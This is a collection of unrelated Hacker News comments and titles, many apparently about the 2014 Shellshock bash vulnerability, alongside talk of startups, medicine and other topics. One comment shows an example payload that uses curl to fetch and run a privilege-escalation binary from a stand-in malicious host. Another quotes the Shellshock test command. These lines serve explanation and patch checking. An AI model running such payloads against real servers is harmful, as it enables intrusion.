skysight-inc/HackerNews huggingface dataset:
Hi Tom this is a great q. I'm the MD on the team here at Iodine.

As you know, many people already stop taking their antibiotics without finishing the full course. According to our internal research, people get most freaked out about side effects when they didn't expect them or didn't know they might happen, and when they didn't know it was a common or normal response to a medication. It's our hypothesis that surfacing this data (much of which does already exist online) will actually help with what clinicians refer to as "anticipatory guidance" -- helping people know what to expect -- and that this could reassure people when they do have a side effect, and help them realize that it's temporary. Good anticipatory guidance doesn't always happen in the exam room due to time constraints, etc. In a couple studies we cited in an Iodine blog post recently, docs spend an average of 12 seconds talking with patients about side effects of a new med, and 50% of these new med convos don't mention expected side effects at all. http://www.iodine.com/blog/11-questions-to-ask-about-medicat....

Additionally, our content will develop with more info about how to take a med, including this really important caveat about antibiotics. Another one I can think of is acetaminophen and its really important risk/warning about liver failure.

We still have a lot of work to do at Iodine, but we think we've got a good start. And overall, we think that more transparency is better, even when it comes to antibiotics, to help people have more informed conversations with their doctors about this stuff.
Actually, yes you can be forced. If you have an open offer to rent, and you refuse a qualified tenant on illegal discriminatory grounds, a judge can force you to hold true to that offer.
Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example:

curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin

could be the payload. This will download then run a secondary attack binary. Then the attacker wins.
Today, no. But if I lived in a time when you could expect that a handwritten letter from the CEO was actually handwritten by the CEO, then maybe I would, because in that time, doing that would have been deceptive.
If the glass bends, and they marketed it right, it could have been a cool feature. It is Apple, they managed to market the Shuffle for basically having almost no user interface and complete lack of features compared to anything else on the market.
Here's a copy of Chaitin's metabiology draft notes compiled from a series of lectures he's given over the years: https://www.cs.auckland.ac.nz/~chaitin/metabiology.pdf
Many people don't realize they use CGI scripts, but a lot of people are going to discover they do today.
Emma Watson Nude Photo Leak Threat Was a Marketing Stunt to Shut Down 4Chan
people started to pay attention. theres a bunch of new vulns being patched daily. if you follow cve's or oss list you can see that.

what's "new" (been done for a few years now) is that there's more marketing drive behind them. Fancy commercial names and websites dedicated and issues are often exaggerated.

Actually super critical vulns are still rare (like HB, codered, etc.)
I don't think it's ridiculous. I definitely agree that acting as TCP server is one of the major intended use cases for Node.js, but in practice, I'd bet it's such a small fraction of use that most Node hosting companies decided it wasn't worth the financial investment to support that use case.
This is a very common analysis of piracy but it is wrong, and here is why.

"Supply" in the "supply and demand" equation, is what the supplier is willing to supply. Not the total supply that is technologically possible.

Put another way, economic analysis does not get to throw away the legal environment in which the market operates. You cannot disprove the utility of a legal structure like IP law by assuming it does not exist--that is called "begging the question" and is a logical fallacy.

edit: forgot a word
How to Root Any Android Devices with One Click
Analysis Paralysis
cycle.travel/map is really nice. I remember there was (years ago) a nifty cycling map of the city of Atlanta, which included a unique triangular control that allowed the user to trade off climbing vs. distance vs. safety (on-road or off, bike lanes, etc). It was based on Google tiles and routes but had its own elevation data.
I could be misinformed, but it sounds like what OKCupid did was an extreme form of A/B testing - at least, that is how they defended the 'experiment' during an interview on NPR's TL,DR. If this is the case, this could set an interesting - and unfortunate - precedent.
There is no reason to be suspicious -- their motives are clear. Exploit the high-overhead banking economy with lower-cost offerings for their target demographic.

Their target customers end up living a life filled with transactional cost. They might pay bills by buying money orders, get paychecks cashed at check cashing stores. On top of that, they can be time-poor, in that without a reliable car or without money for gas, they genuinely cannot get across town to a bank location, or travel an extra few miles to save money on some staple product. [1]

So, right now, there is a significant cost associated with having no checking account.

Therefore, if Wal Mart can bring them into their own system, any overhead they save the customers can come right back into the store. If they can offer the accounts without a financial loss, it's a no-brainer. Even if they have losses on the checking accounts, they might make it up by having physical bodies at Wal Mart more often each month.

[1] "The High Cost of Poverty" http://www.washingtonpost.com/wp-dyn/content/article/2009/05...

PS: Of course they could be evil, but there's no reason they would have to be.
> With exception of the Iraq War and Universal Healthcare websites, pretty much everything was an accident.

Off the top of my head: Titanic's water bulkheads didn't go all the way to the tops of compartments, Hindenburg didn't use non-flammable helium, and Challenger had known issues with O-rings at low temperatures.
Don’t Forget to Work (your Startup) Backwards
Ruby on Rails: Skinny Everything Pt.1
This thread is really interesting. You can see a bunch of engineering types doing their best to slice and dice this from a million logical angles. I would have done the same 20 years ago when I launched my product and went out there to sell it.

The difference? I was honest enough to recognize I was going to approach sales as an engineer. I got help in the form of experienced non-engineer sales people tutoring me by going on sales calls with me and doing review sessions after every sales call.

The first two quarters sucked. It took me about three months to truly stop thinking as an engineer and another three to optimize my style, delivery and approach. We closed the third quarter with over $600K in sales, most of which I was responsible for.

I would eventually hire sales and marketing people so I could devote more time to engineering. I felt it was important to understand the sales process by becoming a sales and marketing person myself (for about two years on and off) before staffing thise positions. I have always been glad I took that approach. We engineers are great about building products but absolutely suck at selling.

The letter that is the subject of this thread isn't fantastic. That said, it achieved several things all the engineers on HN are ignoring:

- Made a sale! Do not underestimate the importance and power of cash in the bank!

- It deprived a competitor of revenue. Every dollar you take away from your competition is a dollar that goes towards potentially taking them out of the race, particularly with low price sellers.

- It was compelling enough to take someone who was on the fence and flip him to the point of having him write a blog post about the experience

- It probably created a long term believer and evangelist for their brand, product and price model

- It confirmed that this tactic works. They can use it with new potential customers, evolve and fine tune it. They might also consider integrating aspects of this message in other marketing efforts.

- It revealed that the competitor's low price position is tenuous at best

- It started a relationship with a new customer in a very positive tone. If nurtured this could lead to more sales from word of mouth

- Because of some of the above their cost of customer aquisition is likely to reduce over time

I could probably add to this. The point is that most of the criticism here is misplaced. This letter isn't genius. It doesn't have to be. It only has to be effective. That, it is.

I don't expect everyone to get this. In typical engineer/HN fashion this will be sliced, diced and down-voted from a million of irrelevant angles. That's OK. I get it. The interesting thing is, regardless of what is said here, that letter still made a sale and accomplished all I have highlighted and more.
As someone who knows both parties involved, here's a little context from the other side.

While the MBA student was not in the class, she was drafting and writing all of the classwork (with the exception of the project) for this class that she was not enrolled in. Our school uses a bidding system that played a factor in her ability to enroll. Strings had to be pulled to manage to get the developer into the class (a bureaucratic headache because of cross-registration).

From her perspective, she had an implicit agreement that helping the developer get into the course and then completing the vast majority of the coursework was her end of the bargain. This should've been made more explicit between them, but the point is that the work done was not one-sided.
> My favourite solution by far, though, is the one recently implemented by Elixir: log() is a regular function, but takes a closure instead of a string.

This is a pretty fantastic route as far as syntactical simplicity goes.

I wonder if it can have an implications on the generated assembly nonetheless? Could there be extra assembly generated outside the branch for logging level check, which is necessary to bind the variables for the closure?

Similarly, I might suspect that an optimizing compiler that is considering a function for inlining might change its mind for any function where it sees a nontrivial closure like that, without knowing that "trace" level logging nearly never happens.

"Edge cases", to be sure, and the answers are surely different between languages, but interesting to consider nonetheless.
Apple Pay got mobile payments right, but its reach is limited
Radio Free Mobile’s Richard Windsor recently posted a concise and insightful piece about Apple Pay. According to Windsor, Apple has aligned the financial payments industry, a feat that has eluded other mobile payments companies, but due to Apple’s proprietary myopia will forego a greater opportunity.
I wish Dr. Tarver would make his Book of Shen[1] available via Google Play[2] (or similar). I rarely purchase paper books these days (especially technical books), but am very happy to pay for well-written books and read them on my iPad.

[1] http://www.fast-print.net/bookshop/1506/the-book-of-shen-sec...

[2] https://play.google.com/books/publish/
Foursquare was originally hacked together at the Think Coffee near NYU. They are still based in NYC.

OKCupid founded and based there as well.
Any software where adversary-controlled input can set environment variables which then execs bash is affected. mod_cgi is just really easy to exploit.
This is a good question, and I don't think you'll get a definitive answer.

If by technical analysis do you mean watch for patterns to appear, then yes it works. There are patterns all over the place.

Renaissance Technologies is famous for its pattern matching AI. They hired 2 key employees out of IBM many years ago that layed the base for their technology and the rest has been money making history. See: http://www.businessinsider.com/bob-mercer-peter-brown-2010-3 and http://en.wikipedia.org/wiki/Renaissance_Technologies

The world of trading has been a cat and mouse game of pattern matching for awhile. One of the earliest attempt at hiding large orders was an algorithm called POV( Percent of Volume).
It's an order that would slice up a big order into smaller chunks and sell it throughout the day. The first variations would just sell every 10 minutes. Its easy to see how someone could find this pattern (Hmm, it seems like 1,000 MSFT are being sold at market every 10 minutes by Goldman Sachs) and exploit it which lead to more intelligent order spreading, and the cycle continues.

However, if by technical analysis you mean looking for patterns like "head and shoulders" (http://www.investopedia.com/terms/h/head-shoulders.asp) then it might be true only in that if so many people/computers believe in it that it becomes a self fulling prophecy.
For example, if every one believes that when a stock crosses above its 20 and 50 day moving average then its going to fall, then it will fall just because everyone will start selling because they believe it will fall, which causes it to fall which reinforces everyone's belief that the pattern works and you have a positive feed back cycle.

Does that mean technical analysis works? IMHO this type of investing doesn't work, but who am I to say...
So they can feel a sense of achievement, as the staff clap them on the way in.
your boyfriend must be pissed ! good luck im sure police are of no help.no one saw a thing im sure someone saw something and knows you should ask and bribe people you may just find out and be surprised
Yes: http://lists.centos.org/pipermail/centos-announce/2014-Septe...

Verify your shasums before trusting a command line off the internet but:

rpm -Uvh http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/... http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/...
Not everybody feels the same way. It all depends on how your life progressed and your experiences as a child and teenager. Some people desire to one day be the father they never had... others had that father, so it is not an issue.
However, we all have insecurities... it may not be about love, but there is always something out there.
Friends and Enemies in the Middle East – Interactive Infographic
3 things your startup needs to create its brand
First it encourages people to use bash specific stuff that is non Posix. Second it is a huge bloated bit of code thats ok as user interface, but scripts should use something that is more minimal. To avoid this sort of issue.
CEX.IO Updates Mining Hardware and Halves Maintenance Cost at Company’s Expense
Yes, the printing of “vulnerable” in the 4th line of your code snippet.
Basic dev marketing.
Hope you don't have international customers, because http://äöüß.de is a totally legal domain these days.
Other major consideration, especially in a narrow channel, is squat -- see http://en.m.wikipedia.org/wiki/Squat_effect
That's exactly what I expected to happen to Macbook Air's when I first saw how thin they were. (I was wrong)
I was in your position back in 1997 and I went into contracting in the UK. It worked out great for me, and I would definitely recommend it. I found it very easy to get work through jobserve.com. In fact once I'd done a few contracts, I built up networks of other contractors and recruitment agencies who gave me tips about upcoming contracts.

You just need to set up a ltd company and manage your own payroll/accounts/pension and then find an accountant to do your end of year accounts. Or you can pay an accountant to do it all for you (but it will cost more). I found it difficult getting a reliable accountant in the UK - every single one of them were late preparing my accounts.

As long as you don't mind moving to a new company every 6-12 months and working on potentially boring projects, it is a great experience. The money is great in the UK, and the work is generally relatively easy. I eventually got fed up with mind-numbingly boring projects and sitting with nothing to do most of the time (I think I work too fast), and eventually ditched it and worked full-time on my own startups.

I would recommend waiting until you get your first contract before quitting your job (that's what I did). Some want you to start immediately, while others will let you wait a month to give your notice.
Also: i was not able to test it yet since i am still on the road, but i belive the Cisco AnyConnect VPN client OS-detection is affected
To be specific, if you can create an arbitrary primage for sha256, you could pwn all digital signatures that sign a sha256 of the message. So in particular, you'd own all TLS connections and certs that use sha256.
Yeah this is true - a lot of hosting providers run PHP as a CGI as it allows them to run the PHP process under the user account (although it is very slow, and RUID2 is a better solution).

If you're not running mod_cgi can this affect the system in any way?

Thanks!
Patent trolls are starting to get trampled
You're quite right, the contact contains no consideration on the part of the company. It's basically a contract of slavery.

It also fails to assign his existing work to the company (as contact terms cannot apply retroactively), which is a major blunder, as prior to signing this contact he could not be said to be an employee (if indeed he is).

The patent warranty is particularly ominous, anyone who signs that would be taking on enormous risk for the rest of the business's life.
While it's true "the role of sex is not completely understood" in evolution, most current research points to co-evolving parasites as a major force that makes sex a good evolutionary move. It increases inter-generational variation while at the same time preserving viability (because both parent organisms are viable) which merely adding randomness would not do. Parasites are typically incredibly specialized because the hosts always evolve pretty good first-line defenses, so the additional genetic variability that sex produces from generation to generation becomes a considerable added benefit to the host, because the parasite population is always playing catch-up. Like many things in evolution, the war is never won, but sex tips the strategic balance in favour of the host.

That said, this kind of formal, mathematical approach to evolution is becoming increasingly powerful, and it's worth speculating if there might not be a provable theorem connecting random DNA variation and the laws of probability at the molecular level with the fact of macroscopic evolutionary change, speciation, etc... something like Boltzmann's H-theorem in thermodynamics, which attempts to show how micro-physics (kinetic theory) can be used to prove the macroscopic 2nd Law of Thermodynamics.

This would make evolution not a theory but a theorem, which I call "Darwin's Theorem". I've played around with the math a bit (I'm a physicist, not a mathematician) without getting anywhere, and wrote a what-if novel about the possibility (it plays with even more speculative ideas as well), in part with the thought of popularizing the idea, because I think it's worth people thinking about: http://www.amazon.com/Darwins-Theorem-TJ-Radcliffe-ebook/dp/...
Yeah - it is really slow, but a surprisingly large number of hosting providers run it that way under cPanel.
With this bug, bash access to CiscoCallmanager is possible... Tested and working....
Google brings up 410 .bash CGIs. Every one of them is almost guaranteed to be vulnerable at this point. Of the 1.2 million .sh CGIs, some are surely vulnerable. By this time, many of them are already be in the process of being owned.

CGIs are likely the smallest piece of the vulnerable hosts here. This is going to stick around as a local vulnerability on the plentiful supply of under-patched Linux boxes for a long time.
I see this in zsh 5.0.0 on Ubuntu, and on OSX as well! zsh 5.0.2 (x86_64-apple-darwin13.0)
This sounds like a joke to me.

1- "Hosting for Node.js apps done right": Like everything else is done wrong? That's just weird.

2- What does "designed for cloud" mean?

3- "Free support"? How gullible do you think we are? At 6e/mo, anyone that believes they're getting any kind of "Free support" is wrong. Or else this service is going to fail big time.

Now some constructive criticism:
I see "FTP access". But as a dev, I would have liked to see something like FTPS, SFTP or better yet, SSH.
Startup Play Calling: Changing Your Tech Stack Post-Series A
systemd should really include pulseaudio, and nginx. Oh, it already has a httpd in there.
The best way to tell is to check if the postage says "Pre-sorted Mail" or if they actually spent money on first-class postage to send it. ;-)
I added these notes to a repo as a lot of these comments are awesome. Let me know if you'd like me to change/take it down.

https://github.com/thoughtpalette/Startup-Video-notes
Drone delivery: DHL 'parcelcopter' flies to German isle
The peculiar journey of “orange”
>the very first amendment to the US constitution is a law protecting "freedom of speech"

The same constitution that is regularly ignored and shit on as part of standard practice?

The constitution doesn't mean anything if the government doesn't follow it.

We also don't need a government to tell us we have free speech on the internet; we have that by default. The only thing governments have the power to do on the internet is damage free speech (which they have done with great consistency).
Pro Bono I: A Speaker That Only Plays U2's New Album
Treo.js: Lightweight wrapper around IndexedDB
Hank Bought a Bus – A photobook of our bus and adventure
Kevin Mitnick Now Selling Zero-Day Exploits
So, as a amateur sysadmin of a decently popular side project, what should I do? I've read over the post on the mailing list, and I think I understand the basic attack, but I'm having trouble understanding exactly how an attacker could run bash on my server and what I therefore need to patch (though I suspect that's intentional). Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server?
Starting up in China a ‘big advantage’ for App Annie
Yes we know and are working on it. The soon-to-come next version should fix all these issues.
You're welcome to - I love it. I've never been happier. Like everything else there are pluses and minus, but I've found that professionally, I've been able to meet my goals in a way I never could as part of an organization. In fact, clients find me more valuable, because they know that I'm in to get things done, done solidly, and done forever.

Interestingly enough, I also feel as if I'm a key member of every team I join. I don't do the loan gun in the basement thing, which is probably a key part of it.
I'm confused by your distinction between natural selection and sexual selection. I always thought the latter was encompassed by the former. Are you talking about random phenomena like genetic drift, or that some complexities are not susceptible to adaptation? Did only browse the article, sorry.
I have never lost my phone, or had it stolen. I put that down in part to the fact it always stays in my pocket. Unlike many friends who put their phones / wallets on a bar table as soon as they sit down. That seems to be asking to get it stolen in certain places.

Plus carrying a bag everywhere seems somewhat impractical. (Ok, most girls I know do carry a bag everywhere, most guys I know don't).
Asma Jahangir, Snowden Honoured with 'alternative Nobel'
First of all, they'd have to prove I did something illegal. What makes you think so? Hopefully we still have the right to say just "sorry, I changed my mind, the offer is no longer valid" or "I chose another offer, sorry".
What's interesting is that I think Amazon Fresh does this as well.
Looks like it works. I guess it is okay that after the close quote the command still runs even though it is not terminated

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
I'm a little puzzled why this has been down voted. Plastic does suffer similar effects under pressure, it's very easy to demonstrate that as well.